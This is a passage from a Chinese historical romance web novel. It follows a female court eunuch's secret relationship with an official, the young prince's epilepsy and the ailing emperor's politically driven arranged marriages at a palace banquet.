最汹涌的时刻,男子曾伏于她的耳畔,呼吸沉沉,“掌印觉得我现在还乖么?” 记起她的确曾夸过他乖,白惜时此刻只觉看走了眼,唇边还残留着旖旎的水渍,混合着贴在鬓边的湿法,她混乱地摇了摇头。 不乖,一点都不乖。 恨不得一脚将他踢到床下去。 …… 午夜之后,重新沐浴完毕的二人并肩躺于薄毯之中,白惜时起先已经阖上了眼,倏然又睁开,像是反应过来什么,一脸狐疑地望向身边的男子,“你怎么什么都懂,不会不是第一次罢?” 懂到……她都没觉得有多痛苦,按理说两个门外汉,第一次不是应当不大顺利不大好受吗? 好在她身为內宦,因要涉足后宫,多少储备了些关于此事的知识,不然解衍那一通充足的准备她都有些招架不住。 过了一会,解衍的声音从黑暗中传来,又恢复了那副温文之态,“提前学过。” “什么时候学的?” “辽东回来之后。” “怎么学?” “……看书。” 白惜时来了兴趣,“什么书?明天给我也看看。” 解衍稍一迟疑,“带到宫中?” 想了想,好像是不大合适,白惜时遂改口,“……算了,下次等我过来再看便是。” 消除完疑虑,白惜时将胳膊和腿探出薄毯之外,舒舒服服闭上了眼。只不过半睡半醒间,感受到有人又替她将毯子重新盖好,不耐烦地翻了个身,又将毯子踢走,不知道现在已经是夏季了吗? 再后来,毯子是没有再盖上来,但一个温温热热的暖炉却靠了过来,还在她耳边道了一句,“夜间小心凉。” 白惜时索性就把这个“暖炉”拉到自己身上当被子盖,免得他再吵自己睡觉。 “被子”很听话,抱着她没有再动。 不过片刻之后,又低声问了她一句话,“喜欢吗?” 白惜时:“喜欢什么?” “刚才的事。” 白惜时的呼吸趋于平缓,一动不动。 男子的手臂紧了紧,声音有些无奈,“惜时,不要装睡。” 重新睁开眼,白惜时鼻尖萦绕的都是男子身上那股清爽的气息,停了一会才反问他,“喜不喜欢,你看不出来?” 然后解衍便没有再说话,抱着白惜时,似乎也一起睡了过去。 不过白惜时这时候倒有些睡不着,捏了捏对方的手指,也不管男子醒着还是沉睡,在他的耳边呢喃了一句,“’晓看天色暮看云。‘” 不过后面两句,倒是没打算再说了。 继而,黑暗之中,她的手亦被人牢牢回握,发间落下一吻。 两个人都知道,这句完整的应当念作——“晓看天色暮看云,行也思君,坐也思君。” 第106章 第106章 第二日天未亮,白惜时与解衍一同回到宫中,只不过一个前往内廷,一个前往朝臣聚集的大殿之外,过不了多久,二人又会在早朝上碰面。 彼时一个立于天子身侧,一个立于殿下,没人能想到,重权在握的内宦与俊逸出尘的朝堂清贵,昨夜曾会是那样耳鬓厮磨的关系。 走出院门之前,白惜时看了眼窗外,当良辰已过,许多现实问题又涌现出来,她觉得有必要与解衍说清楚。 “我这辈子不能与人成亲,应当也没机会去做一个母亲。” 她从认识孟姑姑开始便连服了两年的汤药,至此,月事再没有来烦扰过她,为了生存和保命,她舍弃了一些东西。 她亦没关心过月事还能不能恢复,或者说还有没有生育的可能,因为她这一世的人生规划中,本来就没有孩子。 内宦做到这个地步便没办法回头了,即便能回头,她想她也志不在一方后院,做相夫教子的贤妻良母。 她有她的志向,辅佐明主,开万世太平。 男子听完并不意外,“我知晓。” “没有规定人这一辈子就必须得成亲生子。” 白惜时吓唬他,“不孝有三,无后为大。” 解衍对着她笑,“我没有父母束缚,如若等年纪大了真想要个后代,解家应当会愿意过继一个孩子给我。” 确实,解衍眼下已算是整个解氏宗族重振门楣的希望。 白惜时:“不觉得可惜遗憾?” “掌印觉得遗憾吗?” 白惜时:“我有什么可遗憾的。” 没有什么比保命更重要了。 闻言,解衍的神情认真,“掌印不遗憾,我便也没有遗憾。” 他就是有这样的能力,在白惜时还准备稍稍感伤一下,为未来的不确定提前做好心理准备,解衍便轻易替她打消疑虑,告诉她没什么大不了的,不按伦理纲常去走的人生也可以是圆满的人生。 被安抚的明明白白,白惜时抬步跨出门去,突然又停下,转头问了一句,“我是不是应当喝碗汤药?” 诸如避子汤之类,虽然她是没有了月事的烦恼,但谁能预测到万一? 解衍:“不用,汤药我事前喝过。” “你?你什么时候喝的?” “昨夜沐浴之时。” 白惜时惊异于他的……未雨绸缪? “还有这种东西?我以为这种东西只限于女子。” 解衍:“掌印知道的比我想象中少,不过我亦知之不多,以后可以共同学习。” 怀疑他一本正经的嘴中此刻正在给自己暗示些什么不正经的东西,白惜时瞥了一眼那人清心寡欲的脸,觉得甚能唬人,遂没再接话,率先出门登上了马车。 马车平稳行进,直到拐歪处才起了一阵颠簸,一只大手恰到好处扶上了她的腰,男子关切地问了一句,“可会有不舒服?” 白惜时这时候胜负欲被人激起来,嗤笑一声,“呵~你也太小看我,咱家体力不比你差。” 解衍闻言一点头,笑得温和,“那便好。” 但他一笑,白惜时突然警惕起来,“好什么?你少笑,也少想些不该想的东西。” 男子满面纯澈,“没想。” 扒拉开他的手,白惜时:“你最好没想。” …… 说好了下次去看书,白惜时和解衍都以为时间不会间隔太久,等个十天半个月总能再抽出空闲。 但计划赶不上变化,宫中出了一件大事——怡妃和小皇子相继起了热症。 起先是烧退不下去,天子心急,几乎将整个太医院的人手都派了过去,怡妃娘娘逐渐好转,但皇子年幼,在连续高烧了两日后突然出现四肢抽搐、面部青紫的急症,虽后面由太医合力救了回来,但热度不退治标不治本,以至于后面小皇子又出现了几次相同的状况。 天子为皇子忧心,彻夜不眠,白惜时亦陪同在侧。 结合症状兼之太医的描述,白惜时知道这是高热惊厥,发生的次数多了会伤及脑部,后续亦可能导致继发性癫痫。 一个被寄予厚望指望继承大统的皇子,如若脑部有疾,对怡妃,对天子,乃至对整个大魏都是痛彻心扉的打击。 而最先支撑不住的是怡妃,她的热症分明已经退下,却因为担心幼子、寝食难安而再次起烧,这一烧,竟持续的比先前还要久。 最后,怡妃娘娘和小皇子虽都救了回来,但一个缠绵病榻,一个则像是埋了一个隐雷,谁都不知道小皇子的抽搐会不会再次发生。 自此每每下朝之后,天子都会去趟钟毓宫看望小皇子与怡妃,继而再回到自己的寝殿,更加虔诚的礼佛。 皇帝越发消瘦,却似乎还有一股责任感支撑着他,去当好一个皇帝,做一个值得依靠的父亲。 但不久之后,意外再次发生。 夏季多暴雨惊雷,那一日天色骤变,分明是白日却被乌云遮掩的密不透风,继而狂风乍起,一道闪电破空直劈而下,当即惊吓的小皇子再次犯病,两眼上翻,倒地抽动了近小半刻的时间才算停止。 诡异的天气加上小皇子异于正常人的僵直痉挛,叫钟毓宫当时的一众下人惶恐惊惧,怡妃闻声从病榻中赶来,看见眼前一幕竟直直跌落地面,当场晕厥了过去。 听闻彼时是端静长公主第一时间赶到,眼疾手快将小皇子翻了个身。 继而她冷静指挥着宫人,“太医说过,皇弟若是再出现如此情况当立即侧躺,避免呕吐之物堵塞口鼻。” “皇弟只是病了,与天象无关,现在快些去请太医过来。” 随后赶到了不止太医,还有天子和白惜时。 不再存有侥幸,经过太医会诊小皇子确认患上了癫痫之症,恐对开智程度也会有影响。 那一夜,皇帝强撑着回了寝殿,一言不发于龙椅之中坐了良久,继而掩面痛哭,失声望向黑夜,“朕做错了什么?朕到底做错了什么?” “朕只有这么一个儿子了啊,只有这一个!” 白惜时知道俞贵妃走后天子的心便也跟着死了,他不会再有孩子,小皇子的病症是对天子的又一重创,大魏朝陷入了后继无人的境况。 天子亦不太前往钟毓宫,不是对小皇子不再关爱,而是相较起来他更怕见到怡妃的眼泪。 怡妃的眼泪好像永远都止不住,叫他每每望之,悲戚伤感更甚。 怡妃的眼泪亦让皇帝的暴躁平息了下来,取而代之的,是沉默。 一路陪伴天子从后院走来,白惜时太了解天子,也会在适当的时候,出声劝慰。 “小皇子的情形未必如想象中那般严重,太医说过,随着年龄增长亦可能会好转,圣上,一切尚未有定论。” “佛家有云,万般皆有转机。” “如若连为人父母都放弃,才是真的放弃。” 白惜时理解天子,不过很显然,朝臣们难以理解,在他们看来一个孩子不行,那便再生几个,天子不过而立之年,有的是大把机会。 因而当得知小皇子的病症之后,站在国祚命脉的出发点上,早朝之上便屡屡有人进谏,提倡天子广纳后宫,为大魏和天下苍生谋福祉。 最后一次,天子狠狠砸碎了手中的玉如意,愤而起身质问百官,“朕顾着天下苍生,谁又来顾朕?” “朕在你们眼中如若只是个繁衍子嗣的物件,那这早朝不上也罢!” 说罢,拂袖而去。 他烦透了那些不拿他当个人看的大臣,他虽为天子,但也有作为人的情感,他忘不了俞贵妃,也不想因为一个癫痫就给亲生儿子判了“死刑”。 他有时候会觉得非常孤独,偌大的皇宫好像无处可去,于是便会叫白惜时伴于左右,也不与她说话,就这么坐着。偶尔才会怅然感叹一句,“惜时,就剩你我二人了。” 知他指的是废院中的四人,是啊,白惜时也会感同身受地慨然,当时被放出来他们四人是多么欢喜,对未来又是充满了多少幻想和憧憬,可事到如今,好像并没有起先设想的那般圆满。 因与大臣的观念不和,天子于朝政之事上越发懈怠。 皇帝亦减少了去钟毓宫的频率,改为日日由白惜时替他前往,而钟毓宫在怡妃娘娘病倒之后,撑起这一宫大小事务的,竟成了后来的端静公主。 看着公主有条不紊照顾怡妃娘娘起居,又着人仔细看顾教导皇子,白惜时其实一直有句离经叛道的话未对天子提及,那便是——“除了儿子,您其实还有女儿。” 皇位,一定就该男子继承吗? 至少在她看来,不是。 每每伴驾在侧,天子会与白惜时回忆些往事,话题总是围绕着贵妃。白惜时也会将小皇子和怡妃的近况回禀,连带着提及公主,皇帝偶尔颔首,“端静长大了。” 但如若白惜时借伴驾之机将朝政回禀,大多时候只惹来帝王的凝眉不语。 时间久了,不紧要的事白惜时便不说了。 继而许多朝政之事便变成了率先禀于白惜时处,再由她分轻重缓急,或禀于天子,或直接派往内阁六部,朝野之间甚至相传,她如今乃一人之下万人之上。 随之而来的,便又开始有人骂白惜时是权奸,竟然纵容天子颓废荒政,简直其心可诛! 白惜时对骂名实在没什么在意,以前又不是没被人骂过,她只知道少了俞贵妃的天子并没有朝臣们想象中的坚强。 天子的身体每况愈下是白惜时的直观感受,不过没想到怡妃娘娘的情况更甚,她那一病便再没有起得来,竟就这么一天天的衰弱了下去,直到深秋的某一日清晨,再没有睁开眼。 后宫生存或许当有一颗强大的内心,怡妃娘娘是家中捧起的掌上明珠,从小未经历过什么风雨,幼子打击加之天子冷落,叫她本就孱弱的身体再也支撑不住,便这般香消玉殒。 怡妃离世没多久,京中下了一场大雪,天子在又一次从俞贵妃的陵寝回来后,便也跟着倒下了。 此后再无除了内阁首辅等极少数官员能面圣外,大多数时候,白惜时成为连接朝臣与天子的纽带。 得知天子近况没有人再劝他绵延子嗣,但又对未来的皇位继承人满怀担忧。 小皇子不大聪明是皇宫内外一件公认的秘密。 如此挨了一个冬季,开春之后,白惜时照例进入帝王寝殿,查看起居并将重要之时回禀,待天子半靠于床前喝完汤药后,侧过头,突然问了白惜时一个问题,“魏廷川是不是还在西北?” 闻言心下一凛,总觉得在这个时候皇帝想起世子不是一件好事。 皇帝卧床,皇子年幼,而魏廷川不仅手握西北兵权,而且他姓魏,流淌着大魏正统皇室的血液。 白惜时不动声色,一低头道:“是。” 天子听完没作声,过了一会,才缓缓挥了挥手,“下旨宣他回京罢。” 第107章 第107章 这日早朝,文武百官于大殿之外等候,因是初春,天气还带着冬季的寒凉。 特别是一阵大风刮过,面上犹如被刀割一般,许多人都缩起脖子,这个时节长时间在外头吹风可不大好受。 皇帝已有好长一段时间没有上朝,不过许多旨意都会在这个时候由司礼监传达下来,因而百官仍会按时汇聚于此,相较于从前的议政,眼下便更像是听旨点卯。 眼瞧着大殿的两扇描金红漆木门尚没有打开的迹象,朝臣们一边跺脚一边挨着时间,当所有人都畏冷惧寒的时候,此刻却有一人身姿挺拔,毫无瑟缩之意,而此人还是出现在身子骨相对单薄的文官之中,便显得尤为突出。 当然了,即便平常,此人亦是公认的突出。 反正闲着也是闲着,周围的官员们便都望了过去,口中一边吐出白气,一边感叹,“还是年纪轻的身子骨硬朗,这么大的风,解大人竟如同没事人一般。” 闻言,平时不大与人闲聊的男子却开口,“诸位过誉,解某不是不畏寒,而是官袍下备了御寒的衣物。” 有人好奇,“何种衣衫竟有此奇效?” 解衍没藏着掖着,而是撩起广袖,露出一小截腕处的衣衫,让几位凑上来的同僚一探究竟。 男子官袍下穿的是一件填充了额绒的御寒里衣,上身轻薄不厚重,却很是能抵挡低温风雪。 众人见之啧啧称奇,不知鹅绒竟还有这般保暖的功效。 “解大人这衣衫是在何处购置?我等回去也让家人备上两件。” 解衍耐心解释,“此衣并非购置。” “那是……令妹的巧思?”据知,解衍府上也就他们兄妹二人。 解衍:“不是。” 那还能有谁? 眼看男子没有要往下说的打算,但双目却依旧含着浅笑望向几位同僚,有人反应了反应,冲旁边几人耳语,“他是不是在向我等炫耀?” 他有,咱们没有。 要不怎么一反常态跟他们闲话上了?平时没见他于政事以外这般健谈,还又这般说一半留一半。 但那人一说完又很快被其他几人否定,需知解衍性格沉静,向来不喜张扬,实在没可能因为一件衣衫而……暗中炫耀? 最后有人实在忍不住问了一句,“解大人,你可是府上已经有人了?” 解衍自重回朝堂以来想要与他说亲的实在算不得少,但不管家世卓越的贵女,还是容貌出众的女郎,男子全都推拒,一副这辈子不问红尘的架势。其实不少人先前便猜测过,她是不是已经有了相好之人。 毕竟一个单身男子再干净讲究,总不会那般面面俱到,但看解衍平日衣着装束,总觉得……像是有人给他打理过的样子。 男子闻言并未作答,恰在此时一声唱喏之声倏然响起,紧接着描金红漆木门也被几个小太监合力推开。 众朝臣见此情状结束闲聊,纷纷正容肃目踏入大殿之内。 高阶上的龙椅依旧空悬,但龙椅旁却立着一位面白昳丽、身姿修长的内宦,此人手持圣旨,眉眼间带着上位者的威势。 这大半年间,天子虽疏于朝政,但诸事运转尚算顺畅,许多关乎国祚民生之计也并未停滞耽搁,究其原因,是内阁与司礼监尚算融洽配合。 皇帝虽放权,却未疏于管人,如果内阁与司礼监因争权而内斗,疏于政务,想必他便不会放任下去。 展开明黄色的卷轴,百官静肃听旨,然在听到天子宣镇北将军只身回京之后,不少朝臣低头交换了一个眼神,心中多多少少都有了些预判。 魏将军此行,怕是没那么简单。 众人闻旨,一时心思各异。解衍起先还舒展的眉宇,亦在听闻此讯之后逐渐聚拢。 魏廷川。 下朝之后,解衍直接去了司礼监。 回到内堂之后的白惜时亦没有在大殿时表现的那般冷漠淡定,此刻的她面容凝重,显然朝臣们想到之事,她亦有所担忧。 天子身体欠安,皇子年幼,为提前筹谋替幼子铺路,天子很可能会为他扫清一些障碍。 其实相对于不是那么聪明小皇子,为保大魏昌隆永固,部分朝臣可能更倾向于拥立成年的宗室子弟继承皇位,那么这其中最突出的便是魏廷川。 魏廷川年纪轻,有战功有兵权,且他的准岳父还是如今的兵部尚书。 朝臣们能想到,皇帝自然也考虑的到。 想当年魏廷川的父亲便是因被老皇帝猜疑忌惮才落得一个身首异处的结局。 万不要兜兜转转又…… 世子被拖走的情状尚且历历在目,思及此,白惜时通体生出一股寒意,这种生理上的反应是刻在骨子里的,亦是她的年少梦魇。 正当白惜时陷入回忆之际,这时候内堂之门被人从外头推开,只听脚步便知来人是谁,倒是将她从那“噩梦”中拉了回来。 望着进门的男子,白惜时心下竟莫名寻回一丝安全感,继而随口问了句,“今日在殿外候朝可会觉得冷?” “不会,有你让孟姑姑缝制的衣衫。” 关上门,解衍察觉白惜时的面色有异,“掌印可是在为魏将军的事忧心?” 闻言看了男子一眼,停了片刻,白惜时道:“世子年少时在宫中帮助我良多,不论怎么样少时的情谊不会变,我自然希望他能平安。” 解衍:“掌印是在向我解释?” 白惜时没否认,“免得你多想。” “我没有多想。” 白惜时不欲与他在此事上争辩,此人白日看上去宽容大度,到了夜深人静的时候好像又不是那么回事。最爱在白惜时失神的时刻突然俯下身,声线沉沉问一句“我是谁?” 白惜时起先还会配合唤他的名字,后来发现越唤他越兴奋,明明已经停下来了又开启新的一轮,啃她啃的都比平时卖力,十分耽误睡觉。因此之后再遇到解衍问此类问题,她就会伸出双臂缓缓将人从身上拉下来,伏于男子耳畔,然后再冷酷无情的回上一句“你是黄麻。” 效果尚算不错,至少白惜时的睡眠是保住了。 越过前一个话题,白惜时眼下尤在担忧魏廷川之事,遂很快切入正轨,“我观天子的态度,此次应当还只是防备试探,回京后要看世子如何应对。” 解衍略一沉吟,“只能说,万幸他尚未与刘姑娘成亲。” 要不是战事耽搁,魏廷川其实去年就应当回京筹备婚事,但彼时边境恰好起了一场战事,魏廷川脱不开身,尚书刘易亦被派往辽东,不想二人婚事便一直拖到了今日。 不过皇帝康健的时候不觉得什么,眼下看来魏廷川手握西北兵权,如若再与兵部尚书之女联姻,的确会越发加重天子的疑心忌惮。 白惜时蹙眉,“你是猜测世子与刘姑娘的婚事恐有变数?” 解衍:“不确定。” 这种事,谁都说不准。 但他很快又话锋一转,“不过能有变数,则代表天子暂且未下杀心。” 第108章 第108章 魏廷川奉旨,只身回到京城。 相较于镇北将军上一次回京的声势浩大,这一次归来,显得冷清了许多。 至少明面上是冷清的,朝臣们感知到风向不对,这个时候多的是明哲保身之人,需知若是稍有不慎被牵连其中,丢的不仅是自己的生家性命,还有可能连累全家老小乃至整个宗族的兴衰。 不过私下里是怎样,那便不得而知。 但魏廷川眼下最明智是当是不与任何官员结交走动,只因锦衣卫自他从踏入城门的那一刻便已经开始全程盯梢,不放过任何异动。 天子多少知道些白惜时与魏廷川的交情,所以在魏廷川之事上,他并没有让白惜时参与其中。 但白惜时还是寻机会,在魏廷川进京之前着人给他带去了几句话,至少让他清楚当下的形势。 与世子的第一次碰面,是在天子的寝殿之前,看着风尘仆仆而来之人,白惜时略一低头,错开了二人已然交汇的视线。 白惜时的心境其实很复杂。 在天子与魏廷川之间,她体会到了一种深刻的矛盾。 她一边希望不辜负皇帝的信任与栽培,她明白在主仆之间,天子对她实在算得上宽厚,他们之间亦有十几年的感情,白惜时能说天子的担心没道理吗? 有道理。世子是有抱负的,站在一个帝王一个父亲的角度上,势必会忌惮。 天子会想,如若魏廷川在小皇子登基后起兵夺权,朝臣们是愿意拥立一位德才兼备的成年帝王,拼一拼从龙之功?还是愿意守着一位正统继位,但又不是那么聪明的小皇子? 很多事情难以预料。 但另一边,白惜时更不愿意看到魏廷川有危险,这是私心,亦是情感使然,即便她已经放下了对魏廷川的爱慕,可年少的情谊不会变,魏廷川明明眼下什么都没有做,又凭什么只因为疑心就要有性命之忧? 但在朝堂,在政治斗争面前,有时候很残酷,不讲道理,更不需要一句“凭什么”。 所以她错开了目光,这一刻,再也体会不到原先总是目不转睛地盯着世子,然后再满怀期待地看着他走向自己的心境。 唯剩矛盾与沉重。 四周亦有旁的人,白惜时不欲将不该呈现的情绪被人窥探,所以干脆低下头,错开了目光。 但在他引魏廷川进入寝殿之际,男子趁着间隙对她道了一声“没事。” 那声音很轻,但白惜时还是听见了,不过等她偏过头去,魏廷川已然步入内殿没有再看白惜时,正躬身向病榻之中的天子请安。 白惜时又退回了寝殿之外,这一次的谈话只局限于天子与镇北将军二人,他们说了什么旁人无从得知。 世子已有万全之策? 大半个时辰之后,魏廷川重新从内殿走了出来,表情与进去前无甚变化,白惜时有心将人送到台阶处,亦想知道眼下情势,却不料魏廷川刚一出来,她又被天子召回了殿内。 半靠在床上的天子告诉白惜时,眼下已是春暖花开,他预备在宫中举办一场赏花宴,邀请群臣及其家眷参加。 在这个时间这个节点,又以天子现下的身体状况,白惜时知道此事必定没那么简单。 白惜时:“圣上您的身子……” “无碍。”病床上的天子摇了摇头,“这事就交给薛嫔去办罢。” — 三日后,赏花宴于皇宫之内举行。 自皇贵妃去世,太后的计谋败露,一向侍奉太后殷勤的皇后亦同步被打入冷宫,如今六宫无主,则由薛嫔代为打理。 今日按照天子要求,四品以上官阶的臣子均携家眷前来赴宴,倒是一时将近来冷清的皇宫衬托出几分春意盎然。 天子尚未到场的时候,场面一时有些乱哄哄的,薛嫔的位份和资历摆在那里,不大能镇得住场,臣子们不知皇帝此举何意,凑在一起难免议论个两句,而家眷们则带着对皇宫的好奇,忍不住四处张望,窃窃私语。 这种情况,直到白惜时到场之后才得以控制。 众人皆知,掌印一出现便意味着天子便快要来了。朝臣们纷纷回到席位之中,正襟危坐等待御驾亲临。 果然片刻之后,皇帝在小太监的搀扶下走上了高台,不过叫人意外的是,此次随在天子身后的,还多了两人。 端静公主正牵着小皇子的手,亦一步步走上高台,继而在天子的左侧落座。 自怡妃去世之后,小皇子最亲近的便是这位皇姐及怡妃生前的大宫女扶疏。 许多官员都是第一次见到皇子,这时候便怀揣着好奇之心向这位未来皇位的继承人打量而去,小皇子看上去很怕生,瞧见高台之下这么多人,悄悄往皇姐身后躲去,端静公主见状很是耐心安抚了一番,继而小皇子才重新坐回椅凳,双眼不敢再朝下望,只直愣愣盯着眼前的盘食。 瞧着……就是胆子小,倒并没有像想象那般痴傻。 实际上,小皇子也确实只是开智比平常孩童要晚一些,两岁的年纪虽还不会说话,但能听懂一些简短的语句,除去发病的时候,瞧上去与普通孩子并没有什么两样。 一时之间,臣子们对小皇子的印象有所改观,外头各式各样的说法都有,险些要将他传成一个傻子,可见谣言不可尽信。 天子今日宴请的目的之一,应当也是为了破除这种谣言。 宣布开席之后,丝竹响起,歌舞助兴,但皇帝显然意不在此,强撑着身体望向台下一众大臣及家眷,待一舞毕,他的目光最终落在了魏廷川的身上。 “魏将军归京,朕才听闻你常年征战在外却还是孤家寡人一个,即将步入而立之年,如此实在不妥。不如朕今日便为你指上一门婚事。” “俞四姑娘。”说着又朝另一侧看过去,瞧见那女子与贵妃相似的面容,天子疲惫的面容才露出几分真正的笑意。 “皇贵妃在世的时候便常宣你进宫伴于左右,她也一直叫朕给你寻一门好亲事,今日朕看你与魏将军倒是般配,不如便替你二人定下这段姻缘。” 此言一出,场内鸦雀无声。 概因大家都知道魏廷川已经有婚约在身,正是兵部尚书的次女刘晚禾,但这个时候皇帝说你没有,并亲自指婚,谁又敢说一个“有”字? 魏廷川第一反应是朝刘晚禾的方向看了一眼,女子今日亦随父亲进宫,而刘二姑娘显然还没从这个突如其来的“变数”中反应过来,眼睛睁得大大的,仿佛根本不愿意相信方才听到的言语。 那是她盼了整整两年的归人啊! 看向刘晚禾的时间只有那么一瞬,魏廷川很快收回目光,继而出席,低下头看不清脸上的神色,但声线平稳,未闻任何异样。 “臣魏廷川谢主隆恩。” 从始至终,他没有朝俞四姑娘那边看上一眼,他甚至连对方长什么模样都不知道。 不谢恩又能如何?自身安危尚且不确定,何故再拖累刘晚禾,拖累尚书一家陪同自己涉险? 白惜时立于天子身侧,望着魏廷川与刘晚禾。 虽然解衍已经提醒过她,甚至判断如若世子与刘姑娘的婚事不成反是一件好事,代表天子未下杀心,但看见世子躬身行礼的脊背,以及刘二姑娘眼角沁出的泪花,她亦未觉有丝毫庆幸放松,反倒心下叹然。 可能源于她如今也有了心意相通之人,便越发能够感同身受。 白惜时明白,皇帝的这桩指婚与其说是结亲,不如说是监视。 俞家是绝对听命于帝王的。 当机立断结束魏廷川与兵部尚书的联姻,撤其军备后盾,并安排俞四姑娘时刻监视魏廷川的动向,这是天子的阳谋。 意图谁都看得出来,但谁又敢于置喙? 不过皇帝似乎并未打算就此而止,待魏廷川与俞四姑娘回席,他又将目光投向了兵部尚书刘易。 “刘爱卿,这是你的女儿?”如同没看见刘晚禾已然隐忍红透的眼眶,天子透着虚弱的声音从高处传来。 刘易很快起身,“是。” “可有婚配?” “……没有。” “我瞧着倒是不错,今日不若一并指婚便是。” 说完这句话天子看向的不是刘易,反是魏廷川。 男子目视前方,盯着面前的那樽清酒,半晌都没有移开视线。 顿了片刻,刘易低头谢恩,“能得圣上赐婚,是小女百世修来的福分。” 天子当是满意兵部尚书的答复,略一颔首,目光便向席下百官扫视而去。事实上许多年轻官员并不排斥与刘晚禾结亲,她才貌双全,家世显赫,是十分不错的联姻对象,因而甚至有几位臣子抬起视线,代表了自己的态度。 然而天子却掠过这些人,当白惜时惊觉他视线定格的方向,心下顿时一颤,再没功夫将注意力放在旁人身上,只因他此刻看向的不是别人——正是解衍。 解衍亦被天子纳入“自己人”的范畴,不想他竟欲让解衍与刘晚禾? 皇帝的目光自落在解衍的身上后便没有再移开,看样子已选定了人选,男子此刻亦预感到了天子之意,置于膝上的手掌瞬间捏成了拳。 不可! 眼见天子已有开口之势,他亦欲起身提前将想好的脱辞说出,然这个时候却有人已先他一步,在天子即将唤出男子名讳之际有了动作。 背对着众朝臣,掌印将一盏热茶突然递了过去。 睨着近在眼前的那方盏瓷,天子转而望向白惜时,这一望,是带着上位者的威压。白惜时在打断他的言语! 短暂的迟疑之后,白惜时原本低垂的头缓缓抬起,继而迎着天子不悦的目光,朝他望了过去。 天子是九五之尊、金口玉言,话一旦说出去便绝不可能再更改收回。这一点白惜时比任何人都清楚,也正是因为如此,她才想要赌一赌,至少做到……尽力。 她亦想要为自己争取一回。 顶着压力依旧望向帝王,白惜时什么都没有说,她相信这么多年的情分天子能看得懂,主仆二人的视线在高台之上交汇,在旁人看来可能只是电光火石的一瞬,甚至都没察觉上头有什么异样,但在白惜时看来却如同一个世纪那么久。 除了解衍,察觉到短暂的停顿,滕烈、魏廷川亦朝高台上望了过去。 几个呼吸间,天子收回了视线。 接过茶盏,啜了一口,片刻之后,他又将那杯热茶还回白惜时的手中。 继而目光重新在人群中扫视了一圈,天子越过解衍,伸手一点那微抬头颅的男子,“我看便姚玉舟罢。” 第109章 第109章 天子在指完这两桩婚事后便离开了筵席,命他人代为主持。他的身子本就疲乏,今日是强撑着而来,因而在达到意图后便由小太监搀扶回了寝殿。 端静长公主亦带着小皇子准备离席,白惜时见状命扶疏牵过皇子,转而对公主道:“薛嫔应对这些文武百官有些怯场,公主可否暂且留下帮一帮她?” 公主有些诧异,又确认了一遍,“我?” 白惜时:“是。” 公主虽没有再接话,但眼睛已然告诉白惜时她的不自信。 “凡事都有第一次,公主亦要学会如何真正做好大魏的长公主。” 言毕,白惜时伸出小臂,将端静长公主重新送回了高台之上。 对于掌印的此番举动,文武百官诧异非常,需知司礼监掌印眼下乃一人之下万人之上,整个皇宫中也只对天子俯首称臣,今日为何会对这一位公主另眼相看? 大臣们不懂,而白惜时自有她的考量,她曾私下与天子提及过相关想法,天子沉吟许久没有作答,但亦没有当即否决,显然是听进去了白惜时的言语,并权衡思考。 因而在白惜时送端静公主回席之际,天子甚至回头看了两眼,继而才迈着沉重的步子,回了寝殿。 送回公主之后,白惜时加快步伐跟在天子身后,眼下她最关注的显然不应在公主身上,而是如何向皇帝解释方才之事。 寝殿之内,龙涎香混杂着药味充斥鼻尖,天子靠坐于于床头,在宫女的伺候下喝完两碗浓浓的汤汁,闭目休憩了片刻后才重新睁开眼,抬手挥退众人,天子看向寝塌边始终垂首而立之人。 “说罢。”他的声音透着乏,亦带着薄怒。 身为天子,绝不喜欢有任何人忤逆自己的决定。 白惜时闻言什么都没说,一掀衣摆、双膝跪地,一副任由天子责罚之态。 天子看她这副样子神色越发不好,“你是哑巴了吗?” 白惜时:“奴才……不知从何说起。” 天子听得不耐烦,直接问出了口,“你有龙阳之好?” 白惜时依旧低头,不说话。在这对主仆之间,白惜时的沉默往往就代表着默认。 天子见状眉头拧得更紧,“解衍也是?” 白惜时听到这,抬头望了皇帝一眼。 这一眼,已经叫皇帝完完全全看清楚了白惜时的未尽之意。 “好得很,好得很!朕的臣子与朕的内侍在朕的眼皮底下……”天子面容严厉,拍了把床板,“成何体统!” “难怪当初怡妃托朕将扶疏那宫女指给你,你怎么都不肯收,却原来……” 天子显然不大能接受这般癖好,语速说得快了竟直接咳嗽起来,白惜时见状连忙起身,伸手一下一下帮他顺着后背,“奴才罪该万死,圣上您千万别动气,小心龙体。” 闻言又睨向此刻装乖卖好的白惜时,天子抬手将人拨开。 但拨开了,白惜时又回来,待天子咳得没那么厉害了,她想了想,还是低头谢恩道:“奴才谢圣上方才成全。” “住口!朕听不得这些。” 身体不适其实懒得再于这些细枝末节上劳神,天子气发完后越发精神恹恹,还能怎么办?还能因为这种事把掌印免了? 思及此又一瞥了白惜时,天子烦躁地挥了挥手,“你给朕出去,罚半年俸银,换个顺眼的进来伺候。” “是。” 依言退出天子寝殿,白惜时稍稍松了口气,她看得出来皇帝虽对自己发火却并未真正动怒,应当就是瞧着有些膈应,实在对龙阳之好接受无能。 但白惜时更知道这种火基本发完就没了,不会伤及主仆之间的根本,最多这段时日天子都不大想见到自己。 其实自皇帝愿意更改人选她就已经没有那般担心与惴惴不安,因为愿意更改,实际上已经代表了皇帝的态度。 从寝殿出来后,白惜时脚步调转,预备回席看看文武百官和长公主那边的情况,但在回去的途中,她遇到了另一个人 ——魏廷川。 似是觉得席上过闷,世子出来透气,顺带看见了朝着这边走来之人。 年少时带着两分圆润的脸蛋如今已经彻底消融下去,线条流畅优美,是完完全全长成后的模样,自带一股跨越男女的冷艳张扬,行走间流露出的威仪透露出压制人心的魄力。 她不再是原来那个白惜时了,如今已立于山颠,不再需要任何人的庇护。 “世子。”白惜时率先唤了男子一声,此刻不可避免想到席间之事,她想劝魏廷川,又不知如何开口,因为方才她亦切身实地体会到那种天意弄人之感,更明白到了这个时候任何言语都很苍白。 魏廷川:“你不用这副表情,我早已有了心理准备,此时可与刘家撇清关系不将他们牵连进来应当算是件好事。” 闻言,白惜时看了眼左右,“世子可有自保之法?” 魏廷川:“暂时当是没有危险。” 眼看世子欲言又止,似乎还有什么想说,然二人亦发现此刻已有隐藏在暗处的锦衣卫探头探脑望过来,只不过此地开阔四周又无甚遮挡,那些人一时不好当着白惜时的面跟过来窃听。 知他们最终是要禀报到滕烈处,而滕烈不会出卖自己,但风声鹤唳之时白惜时亦不想与滕烈太多为难,遂道了一句,“世子有什么话可能需要快些说,你我二人不便长时间逗留。那我便直接问了,世子可有什么需要我之处?” “没有,你记得顾全好自己便是。” 